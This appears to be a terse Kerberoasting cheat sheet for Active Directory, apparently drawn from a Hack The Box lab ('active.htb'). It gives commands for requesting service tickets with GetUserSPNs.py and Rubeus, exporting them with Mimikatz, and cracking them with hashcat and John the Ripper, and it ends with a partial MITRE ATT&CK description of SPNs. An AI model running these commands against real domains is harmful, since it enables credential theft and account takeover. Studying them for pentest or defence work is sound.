-
GetUserSPNs.ps1 or GetUserSPNs.py
python3 GetUserSPNs.py active.htb/svc_tgs:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100
-
PS> .\Rubeus.exe kerberoast /simple /outfile:hashes.txt
-
Extract Tickets
Mimikatz
kerberos::list /export
-
HashCat:
hashcat -m 13100 --force <TGSs_file> <passwords_file>
JohnTheRipper:
john --format=krb5tgs --wordlist=<passwords_file> <ticket_file>
Forge Service Tickets (TGS) with Kerberoasting MITRE ATT&CK ID: T1558.003
The structure of an SPN consists of three (3) main parts: Service Class: the service type, i.e., SQL, Web, Exchange, File, etc., and the Host where the service is usually running in the format of FQDN (Fully Qualified Domain Name)and port number. For example, below, the Microsoft SQL service runs on the dcorp-mgmt host on port 1443.